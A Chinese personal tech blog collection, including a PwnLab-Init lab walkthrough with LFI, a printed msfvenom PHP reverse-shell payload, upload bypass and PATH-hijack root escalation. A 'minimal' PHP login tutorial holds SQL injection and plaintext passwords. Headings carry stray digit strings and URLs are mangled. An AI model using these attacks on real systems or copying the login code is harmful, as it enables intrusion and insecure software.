CTF线下比赛该如何打?

最后更新于:2018-11-16 13:38:08

手不要抖,心不要慌,线下攻防,也就那样

网络不通,交流不畅,镇定自若,落后何妨

专人运维,冷静指挥,盯计分板,策略得当

Pwn题虽多,Web更伤,挖洞很弱,光靠重放

工具脚本,准备匆忙,反正现场,也用不上

Linux下如何杀死某个进程6397525058

最后更新于:2018-11-16 13:28:56

示例:查找并杀死vim进程

【ps -ef | grep vim】: 查找vim的进程id;

【kill -9 25374】: 强制杀死vim进程

PHP注册登陆(极简)

最后更新于:2018-11-16 13:09:17

完整代码

1 sql 在已有的数据库里创建user表,id,username,password三个字段

create table user(id int(10) not null auto_increment,username varchar(30),password varchar(40),primary key(id));

 

2 connect.php 数据库配置文件

<?php
$servername = "localhost";
$username = "username";
$password = "password";
/ 创建连接
$conn = new mysqli($servername, $username, $password);
/ 检测连接
if (mysqli_connect_error()) {
die("数据库连接失败: " . mysqli_connect_error());
}
 ----------------------------------------------------------------------------------------------------------------------------------------------------

3 signup.html 注册表单

<!doctype html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>用户注册页面</title>
    </head>
    <body>
        <form action="signup.php" method="post">
            <p>用户名:<input type="text" name="name"></p>
            <p>密  码: <input type="text" name="password"></p>
            <p><input type="submit" name="submit" value="注册"></p>
        </form>
    </body>
</html>

4 signup.php 注册程序

<?php 
    header("Content-Type: text/html; charset=utf8");

    if(!isset($_POST['submit'])){
        exit("错误执行");
    }/判断是否有submit操作

    $name=$_POST['name'];/post获取表单里的name
    $password=$_POST['password'];/post获取表单里的password

    include('connect.php');/链接数据库
    $q="insert into user(id,username,password) values (null,'$name','$password')";/向数据库插入表单传来的值的sql
    $reslut=mysql_query($q,$con);/执行sql
    
    if (!$reslut){
        die('Error: ' . mysql_error());/如果sql执行失败输出错误
    }else{
        echo "注册成功";/成功输出注册成功
    }

    

    mysql_close($con);/关闭数据库

?>

 

注册流程完成,下面是用户登录

5 login.html 登录表单

<!doctype html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>登陆</title>
    </head>
    <body>
        <form name="login" action="login.php" method="post">
                <p>用户名<input type=text name="name"></p>
                <p>密 码<input type=password name="password"></p>
                <p><input type="submit" name="submit" value="登录"></p>
            </form>
    </body>
</html>

 

6 login.php 登录程序

<?PHP
    header("Content-Type: text/html; charset=utf8");
    if(!isset($_POST["submit"])){
        exit("错误执行");
    }/检测是否有submit操作 

    include('connect.php');/链接数据库
    $name = $_POST['name'];/post获得用户名表单值
    $passowrd = $_POST['password'];/post获得用户密码单值

    if ($name && $passowrd){/如果用户名和密码都不为空
             $sql = "select * from user where username = '$name' and password='$passowrd'";/检测数据库是否有对应的username和password的sql
             $result = mysql_query($sql);/执行sql
             $rows=mysql_num_rows($result);/返回一个数值
             if($rows){/0 false 1 true
                   header("refresh:0;url=welcome.html");/如果成功跳转至welcome.html页面
                   exit;
             }else{
                echo "用户名或密码错误";
                echo "
                    <script>
                            setTimeout(function(){window.location.href='login.html';},1000);
                    </script>

                ";/如果错误使用js 1秒后跳转到登录页面重试;
             }
             

    }else{/如果用户名或密码有空
                echo "表单填写不完整";
                echo "
                      <script>
                            setTimeout(function(){window.location.href='login.html';},1000);
                      </script>";

                        /如果错误使用js 1秒后跳转到登录页面重试;
    }

    mysql_close();/关闭数据库
    header("location:welcome.php")
?>

7 welcome.html 登录成功跳转页面

<!doctype html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>登陆成功</title>
    </head>
    <body>
        欢迎光临
    </body>
</html>

Linux提权总结6159433660

最后更新于:2018-11-16 08:02:36

 

前言

当拥有了一个shell,依然可能会有一些拒绝执行指令的限制,而为了获得目标主机的完整控制权限,则需要在未授权的地方绕过权限控制。

Metasploit 拥有各种不同技术的exploits,能用于目标机器上进行尝试获取系统级权限。除此之外,还有一些在linux下使用的脚本,方便在尝试提升权限的时候处理。通常它们的目的是枚举系统信息而不是给出具体的vulnerabilities/exploits,使用这种类型的脚本将会节省很多时间。

辅助脚本(478) 375-7108

LinEnum6206491409

可以列举系统设置并且高度总结的linux本地枚举和权限提升检测脚本

作用:

隐私访问:判断当前用户是否能够用空口令使用sudo命令,root用户的家目录能否访问。

系统信息:主机名,网络详情,当前IP等等。

用户信息:当前用户,列出所有包含uid/gid的用户信息,列出有root权限的用户,检查密码hash是否保存在/etc/passwd。

下载执行:

1
2
git clone /github.com/rebootuser/LinEnum.git
./LinEnum.sh

得出的信息很详细

Linuxprivchecker

由python实现,用来对被控制的系统提供建议的exploits。

(819) 982-6020

这个脚本会枚举文件和目录的权限和内容。
这个脚本和LinEnum工作方式一样,只是在关于系统网络和用户方面搜寻相比前者对象的详细。

Linux Exploit Suggester

基于操作系统的内核版本号。

它是一个不同于以上工具的Perl脚本。使用下列命令下载这个脚本。

1
git clone /github.com/PenturaLabs/Linux_Exploit_Suggester.git

先使用uname -r来查看内核版本,再使用-k来制定内核版本,然后返回一个包含了可能exploits的列表。

Unix-Privesc-checker7152479159

在UNIX系统上检测权限提升向量的shell脚本。

用于寻找那些在未授权用户可以对其他用户或本地应用程序进行提升权限的错误配置。

因为这个脚本是编写的单个shell脚本,所以会比较容易上传和执行,可以被普通用户执行。
当它发现一个组可写(group-writable)的文件或目录时,而如果这个组包含了超过一个的非root成员,就会标记出来。

1
git clone /github.com/pentestmonkey/unix-privesc-check.git

这个用起来有点诡异。

利用linux内核漏洞提权

本地环境:

利用低权限用户目录下可被Root权限用户调用的脚本提权

待续。。。。

利用环境变量劫持高权限程序提权

前戏

将PwnLab-Init导入VM,在kali操作,使用Netdiscover工具扫描局域网中所有的主机
419-370-2684

使用nmap扫描

发现开了80,3306端口,尝试访问
登录和上传页面,登录页面URL结构:/?page=login,看到这个结构,就应该想到是文件包含
当我需要知道用户名和密码,我们将使用Nikto的命令找出哪些是它们存储的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@RcoIl:~# nikto -h 192.168.1.122
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.122
+ Target Hostname: 192.168.1.122
+ Target Port: 80
+ Start Time: 2016-12-06 13:11:39 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "/127.0.1.1/images/".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7535 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2016-12-06 13:11:39 (GMT8) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

正如你所看到18行的,/config.php是PHP配置文件,可能包含数据库ID和密码。现在知道文件名,可以使用curl命令来查找该文件中的数据。

使用php:/filter/convert.base64-encode/resource=尝试读取index.php


不需要加.php,猜想结构如下

1
2
3
<?php if(isset($_GET['page'])){
include($_GET['page'].".php")
?>

事实上解密后发现结构就是这样。

读取config.php的内容如下:

1
2
3
4
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

连接数据库去找登录的账号密码
kent Sld6WHVCSkpOeQ== (JWzXuBJJNy)
mike U0lmZHNURW42SQ== (SIfdsTEn6I)
kane aVN2NVltMkdSbw== (iSv5Ym2GRo)

当然也可以读取login和upload,这样就知道结构是怎样的。既然要上传,那看看upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001'); /文件类型必须是image
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002'); /mime必须是图片类型的
}
if(substr_count($filetype, '/')>1){
die('Error 003');/检测文件类型
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');/检测imageinfo
}
}
}
?>

所以,php文件是不能直接上传的,图片上传命名是md5命名。
2364509045
那我们就绕文件类型,文件内容。
直接用msfvenom来生成一个反弹脚本,然后进行尝试。

1
2
3
4
5
6
root@RcoIl:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lort=4444 -f raw
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 949 bytes
/*<?php /**/ error_reporting(0); $ip = '192.168.1.107'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp:/{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();

添加个GIF的文件头,GIF98,文件后缀改为GIF,这样是可以上传的。

证明这个gif是我们的shell文件,但是不会解析为PHP。尝试了截断之类的都不行。既然有包含,这个可以通过创建包含图像路径的“lang”的cookie的LFI漏洞,抓包修改cookie为 lang=../upload/df537fdc576e33db40f6f4295b2ea8a0.gif
设置监听。

正文

得到了一个Meterpreter会话,接下来就是常规的信息收集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > sysinfo
Computer : pwnlab
OS : Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686
Meterpreter : php/linux
meterpreter > shell
Process 1325 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty; pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/var/www/html$ whoami
whoami
kane
kane@pwnlab:/var/www/html$

已经是一个正常用户的一个权限
在Kane的home目录下只有一个“msgmike.”文件,用file命令去查看。

1
2
3
4
5
6
7
8
9
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

从上面回显可以看到,这是一个ELF 32位 LSB执行文件,但是当我们执行文件的时候,报错了。
通过报错信息我们可以看到msgmike调用cat命令读取/home/mike/msg.txt文件。显然cat的权限不够。
针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含

1
2
3
4
5
kane@pwnlab:~$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ touch cat
touch cat

然而当调用cat命令的时候,cat会从以上目录来存在,如果我们添加$PATH环境变量,则会先从当前目录来寻找cat指令
新建cat,添加执行权限

1
2
3
4
5
6
7
8
9
10
11
kane@pwnlab:~$ touch cat
touch cat
kane@pwnlab:~$ export PATH=.
export PATH=.
kane@pwnlab:~$ echo $PATH
echo $PATH
.
kane@pwnlab:~$ echo "/bin/sh" >cat
echo "/bin/sh" >cat
kane@pwnlab:~$ /bin/chmod 755 cat
/bin/chmod 755 cat

这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。完整的exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kane@pwnlab:~$ ./msgmike
./msgmike
$ whoami
whoami
/bin/sh: 1: whoami: not found
$ /usr/bin/whoami
/usr/bin/whoami
mike
$ pwd
pwd
/home/mike
$ ./msg2root
./msg2root
Message for root: ; /bin/bash -p
; /bin/bash -p
bash-4.3#id
id
uid=1002(mike) gid=1002(mike) euid=0(root) groups=0(root),1003(kane)

看完这篇文章,总会有三个疑问:
1、为什么可以使用
php:/filter/convert.base64-encode/resource=
2、在限制了上传类型,上传内容,为什么可以通过cookie进行包含
3、提权的时候 ; /bin/bash -p这个是什么意思

其实带着问题去查资料是最好的,要不然是知其然不知其所以然!
参考链接:

CTF常用工具/速查资料

最后更新于:2018-11-16 07:57:02

在线工具

本地工具


速查资料


文件

编码

API

mac终端连接阿里云服务器报错WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!762-572-7508

最后更新于:2018-11-16 07:53:13

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Someone could be eavesdropping on you right now (man-in-the-middle attack)!

It is also possible that a host key has just been changed.

The fingerprint for the RSA key sent by the remote host is

SHA256:这里每个人都不同

Please contact your system administrator.

Add correct host key in /Users/Anan/.ssh/known_hosts to get rid of this message.

Offending RSA key in /Users/Anan/.ssh/known_hosts:1

RSA host key for 这里是服务器的IP has changed and you have requested strict checking.

Host key verification failed.





会出现这些信息是因为,第一次SSH连接时,会生成一个认证,储存在客户端(也就是用SSH连线其他电脑的那个,自己操作的那个)中的known_hosts,但是如果服务器验证过了,认证资讯当然也会更改,服务器端与客户端不同时,就会跳出错误啦~因此,只要把电脑中的认证资讯删除,连线时重新生成,就一切完美啦~要删除很简单,只要在客户端输入一个指令

ssh-keygen -R +输入服务器的IP

接下來再次连接一次,會出現

Are you sure you want to continue connecting (yes/no)?

输入yes,
就完成连接啦!同時,新的认证也生成了
在mac下使用终端连接服务器方式

ssh root@服务器地址

linux 安装 Nginx, MySQL, PHP7336-893-2041

最后更新于:2018-11-15 17:03:40

1.安装之前先更新系统

1 sudo apt update

2.安装Nginx4846659823

1 sudo apt install nginx

3.安装PHP

1 sudo apt install php
2 sudo apt-get install libapache2-mod-php

4.安装MySQL

1 sudo apt install mysql-server php7.0-mysql
2 sudo apt-get install mysql-client
3 mysql_secure_installation

linux 上下传文件

最后更新于:2018-11-15 14:46:53

8019146328

php搭建环境8008881217

最后更新于:2018-11-15 14:47:03

Https -v 查看apache版本
sudo apachectl restart 重启apache服务
Sudo apachectl stop 关闭apache服务
然后进入localhost 如果出现it works! 说明成功
sudo vim/etc/apache2/httpd.conf 修改配置
找到#LoadModule php5(版本号php7)_module libexec/apache2/libphp5(版本号php7).so LoadModule php5_module libexec/apache2/libphp5.so 按I 去掉# 输入:wq 保存退出即可
Sudo apachectl restart 重启apache
Open /library/webserver/documents 显示目录为apache目录
cd /library/webserver/documents 在终端进入apache目录
输入touch hello.php 新建一个为hello命名 .php结尾的文件

如果输出permission denied 权限被拒绝
cd
Sudo root
passwd root
提示 Changing password for root.
New password: 输入新密码
Retype new password: 再次输入新密码
回车后完成 root 用户的密码修改

cd /library/webserver/documents 在终端进入apache目录
输入touch hello.php 新建一个为hello命名 .php结尾的文件
/dev.mysql.com/downloads/mysql/ 下载mysql
1、打开终端输入: pico .bash_profile; 回车
2、export PATH=$PATH:/usr/local/mysql/bin/将该路径添加到最后一行,保存退出即可。

MySQL Workbench这是一款官方出的管理工具,全英文的版本,英文不好的小伙伴就要去练练,熟悉下了。下载传送门:/dev.mysql.com/downloads/workbench/

Linux卸载数据库指令530-581-9413

最后更新于:2018-11-15 14:47:08

sudo rm /usr/local/mysql
sudo rm -rf /usr/local/var/mysql
sudo rm -rf /usr/local/mysql*
sudo rm -rf /Library/StartupItems/MySQLCOM
sudo rm -rf /Library/PreferencePanes/My*
vim /etc/hostconfig and removed the line MYSQLCOM=-YES-rm -rf ~/Library/PreferencePanes/My*
sudo rm -rf /Library/Receipts/mysql*
sudo rm -rf /Library/Receipts/MySQL*
sudo rm -rf /var/db/receipts/com.mysql.*